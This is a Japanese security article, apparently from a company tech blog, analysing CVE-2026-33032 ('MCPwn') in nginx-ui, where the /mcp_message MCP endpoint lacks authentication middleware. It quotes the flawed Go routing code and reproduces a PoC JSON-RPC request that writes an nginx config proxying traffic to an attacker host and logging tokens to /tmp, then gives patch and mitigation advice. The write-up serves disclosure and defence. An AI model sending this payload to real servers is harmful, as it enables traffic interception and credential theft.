2026年4月15日、オープンソースのNginx管理用Web UIツール「nginx-ui」に存在する深刻な認証欠落脆弱性 CVE-2026-33032 について、発見者のPluto Securityが技術詳細とPoCを公開しました。CVSSスコアは9.8(Critical)で、同社は本件を「MCPwn」と呼称しています。
Pluto Securityによれば、VulnCheckは本脆弱性を自社のKnown Exploited Vulnerabilities(KEV)リストに追加しており、Recorded FutureのInsikt Groupも2026年3月に悪用が観測された31件の高影響脆弱性の1つとしてリスクスコア94/100を付与しています。
本記事では、nginx-uiがMCP(Model Context Protocol)サポートを後付けで実装した際に混入した「認証ミドルウェア1行の欠落」という根本原因を整理し、既存アプリがAI連携機能を追加する際の構造的リスクを実務視点から解説します。また、GHSAとNVDの公式トラッカー情報と実際のパッチ提供状況に齟齬がある点にも触れます。
脆弱性の基本情報
| 項目 | 内容 |
|---|---|
| CVE | CVE-2026-33032 |
| GHSA | GHSA-h6c2-x2m2-mwhf |
| CVSS v3.1 | 9.8(Critical)AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-306(Missing Authentication for Critical Function) |
| 通称 | MCPwn |
| 発見者 | Yotam Perkal 氏(Pluto Security, Director of Security Research) |
| 影響製品 | nginx-ui(GitHubリポジトリ 0xJacky/nginx-ui、Go製のNginx管理用Web UI) |
| 影響バージョン | GHSAは all versions、NVDは 2.3.5 and prior と記載。Pluto Securityのソースコード検証では v2.3.3 が最後の脆弱版で、v2.3.4 に修正が含まれるとされています(公式トラッカー間の齟齬について後述) |
| 修正版 | v2.3.4(2026-03-15 リリース)。最新安定版は v2.3.6 |
| GHSA公開日 | 2026-03-28 |
| NVD公開日 | 2026-03-30(最終修正 2026-04-01) |
根本原因:/mcp_messageの認証ミドルウェア欠落とIPホワイトリストのfail-open設計
nginx-uiはMCP統合として2つのHTTPエンドポイントを公開しています。
/mcp: IPホワイトリストチェック + 認証ミドルウェア(AuthRequired())の両方を通過/mcp_message: IPホワイトリストチェックのみ、認証ミドルウェアなし
両エンドポイントは同じ mcp.ServeHTTP() ハンドラに処理を委譲しており、ここで全てのMCPツール呼び出しが捌かれます。しかし /mcp_message には AuthRequired() の記述が欠落しており、これが本脆弱性の本体です。
GHSA公式に掲載されている mcp/router.go のルーティング定義を見ると、問題箇所は一目瞭然です。
// /mcp は認証あり
r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(),
func(c *gin.Context) { mcp.ServeHTTP(c) })
// /mcp_message は認証なし
r.Any("/mcp_message", middleware.IPWhiteList(),
func(c *gin.Context) { mcp.ServeHTTP(c) })
修正コミットは /mcp_message のルートに middleware.AuthRequired() を1行追加する変更です。根本原因は、Pluto Securityが指摘する通り「たった1回の関数呼び出しの欠落」でした。
さらに、IPホワイトリスト機能にはfail-open設計があります。settings.AuthSettings.IPWhiteList はデフォルトで未初期化(空スライス)であり、ミドルウェアは空のホワイトリストを「全許可」として扱います。つまり、管理者が明示的にIPホワイトリストを設定していない限り、ネットワーク到達可能な任意の攻撃者がアクセス可能となります。
攻撃シナリオ:最短1リクエストで完全制圧
Pluto SecurityのPoCでは、攻撃者はJSON-RPC 2.0形式で /mcp_message に tools/call メソッドを直接送信するだけで、認証ヘッダーなしに任意のMCPツールを呼び出せます。
POST /mcp_message HTTP/1.1
Content-Type: application/json
{
"jsonrpc": "2.0",
"method": "tools/call",
"params": {
"name": "nginx_config_add",
"arguments": {
"name": "evil.conf",
"content": "server { listen 8443; location / { proxy_pass http://attacker; access_log /tmp/tokens.log; } }",
"base_dir": "conf.d",
"overwrite": true
}
},
"id": 1
}
nginx_config_add はファイル書き込み後、自動的にNginxのリロードをトリガーする実装のため、攻撃者が書き込んだ悪意ある設定はただちに有効化されます。
認証なしで呼び出し可能な12のMCPツール
GHSAが列挙している全12個のMCPツールは、いずれも認証なしで呼び出し可能です。
- Nginx制御系:
restart_nginx,reload_nginx,nginx_status - 設定操作系:
nginx_config_add,nginx_config_modify,nginx_config_list,nginx_config_get,nginx_config_enable,nginx_config_rename,nginx_config_mkdir,nginx_config_history,nginx_config_base_path
これらの組み合わせにより、以下の攻撃が成立します。
- トラフィック傍受: server blockを攻撃者サーバー経由のリバースプロキシに書き換える
- 認証情報収集:
access_logのカスタムlog_formatで Authorization ヘッダーを保存する - 持続的アクセス: 管理者のトークンやシークレットを log に流出させ、REST API へのエスカレーションを実現する
- インフラ偵察: 既存のNginx設定を読み取り、バックエンド構成・TLS鍵パス・upstream定義を収集する
- サービス停止: 無効な設定を書き込んでリロードすると、Nginxがオフラインになる
悪用観測の状況
複数の脅威インテリジェンスソースが独立に悪用を確認しています。
- VulnCheck: 本脆弱性を自社のKEV(Known Exploited Vulnerabilities)リストに追加
- Recorded Future Insikt Group: 2026年3月に悪用観測された31件の高影響脆弱性の1つとして、リスクスコア94/100を付与
特定の悪用キャンペーンや攻撃グループ名は現時点で公開されていませんが、Recorded Futureは本脆弱性を2026年3月に悪用された31件の高影響脆弱性の1つに挙げており、Pluto Securityも2026年4月13日時点でVulnCheckのKEV追加を時系列に明記しています。公開後短期間で悪用情報が重なった点から、PoC公開後に急速なスキャンや悪用へ移行しやすいタイプの脆弱性とみてよいでしょう。
Pluto SecurityのShodan調査では、インターネットに公開されているnginx-uiインスタンスが約2,689台確認されています。これらすべてが脆弱版とは限りませんが、潜在的な攻撃対象の裾野は大きいといえます。地理的分布は中国、米国、インドネシア、ドイツ、香港が多いとされます。nginx-uiは社内ネットワーク内部で運用されるケースも多いため、公開インスタンス数は全体の一部に過ぎない可能性もあります。
影響バージョン:公式トラッカーの情報齟齬に要注意
本脆弱性の影響範囲について、公式トラッカーの情報と実際のパッチ提供状況に齟齬があります。運用現場での混乱を避けるため、整理しておきます。
| ソース | 影響バージョン | パッチの記載 |
|---|---|---|
| GHSA-h6c2-x2m2-mwhf(2026-03-28公開) | all versions | None |
| NVD(2026-03-30公開、04-01最終修正) | 2.3.5 and prior | “no publicly available patches” |
| nginx-ui実態 / Pluto Security記載 | v2.3.3以前 | v2.3.4(2026-03-15)で修正済み |
GHSAとNVDの記載はv2.3.4のパッチリリース後も更新が追いついていないため、公式トラッカーだけを参照すると「未修正」と誤認する可能性があります。Security Affairsも「一部のバージョントラッカーは不正確」と明示しています。
実務上は v2.3.4以降(最新安定版は v2.3.6)にアップデートすれば修正されます。
対策と暫定対処
- 即時アップデート: v2.3.4以降(最新は v2.3.6)にアップデートする
- 暫定対処①: MCP機能を無効化する
- 暫定対処②:
/mcp_messageエンドポイントへのネットワークアクセスを、信頼できるホストに限定する - 暫定対処③: IPホワイトリストを明示的に設定し、デフォルトの「空=全許可」挙動を回避する
- ログ確認: 設定変更履歴(
nginx_config_history相当)とアクセスログを確認し、不審な設定変更やリロードがないか検証する。悪用は2026年3月中旬から観測されているため、過去1ヶ月分の確認が推奨されます
実務への含意:MCP統合の構造的リスク
本件は、既存アプリが後付けでMCPサポートを実装する際に起こる典型的な設計ミスを示しています。Pluto Securityが短期間で公開した2件目の重大なMCP脆弱性である点も注目に値します(1件目はAtlassian MCPの「MCPwnfluence」、CVE-2026-27825 / CVE-2026-27826、CVSS 9.1 / 8.2)。
Pluto Securityの公開コメントでは、「AI統合エンドポイントは既存アプリと同じ機能を公開するが、既存アプリのセキュリティコントロールをしばしばスキップする」と指摘されています。nginx-uiのケースでは、元々備わっていた AuthRequired() ミドルウェアが、MCPエンドポイントの一方にだけ適用漏れしていたことが本丸です。
TKC Tech Labでは本年、AIエージェントビルダー系の脆弱性(OpenClaw CVE-2026-33579、Flowise CVE-2025-59528、Marimo CVE-2026-39987)を追跡してきました。これらはAIエージェント実行基盤そのものの脆弱性でしたが、nginx-uiのケースは「既存の汎用アプリにMCPを足したら、既存の認証レイヤーをバイパスする穴が空いた」という別パターンです。共通しているのは、AIエージェント時代特有の 設計プリミティブとセキュリティコントロールの非対称 です。
既存アプリにMCP統合を導入する場合、以下の点を点検しておく価値があります。
- MCPエンドポイントに既存APIと同じ認証ミドルウェアが一貫して適用されているか(ルーティング定義レベルでの機械的な点検が有効)
- SSE(Server-Sent Events)のセッション確立系とメッセージ送信系の両方に認証が揃っているか
- IPホワイトリストやアクセス制御が「空=全許可」のfail-open設計になっていないか
- MCPツールの権限が、呼び出し元の認証レベル・ロールと対応付けられているか
MCP経由の機能露出は開発生産性を高める反面、既存のセキュリティレイヤーをバイパスする新しい経路を作ることにもなります。公式トラッカーの情報更新にも遅延が生じうる点を含め、運用側での主体的な点検が重要です。
ソース
一次ソース
- GHSA-h6c2-x2m2-mwhf「Unauthenticated MCP Endpoint Allows Remote Nginx Takeover」(0xJacky/nginx-ui、2026-03-28公開)
- NVD CVE-2026-33032(2026-03-30公開、2026-04-01最終修正)
- GitHub Releases(0xJacky/nginx-ui):v2.3.4(2026-03-15)、v2.3.6(最新安定版)
- Pluto Security 技術レポート(Yotam Perkal、2026-04-15公開)
- VulnCheck Known Exploited Vulnerabilities リスト(VulnCheck自社運用)
- Recorded Future Insikt Group 2026年3月CVE Landscape レポート
参考情報
- The Hacker News(2026-04-15)
- BleepingComputer(2026-04-15)
- Security Affairs(2026-04-15)
- CSO Online(2026-04-15)
- Infosecurity Magazine(2026-04-15)

コメント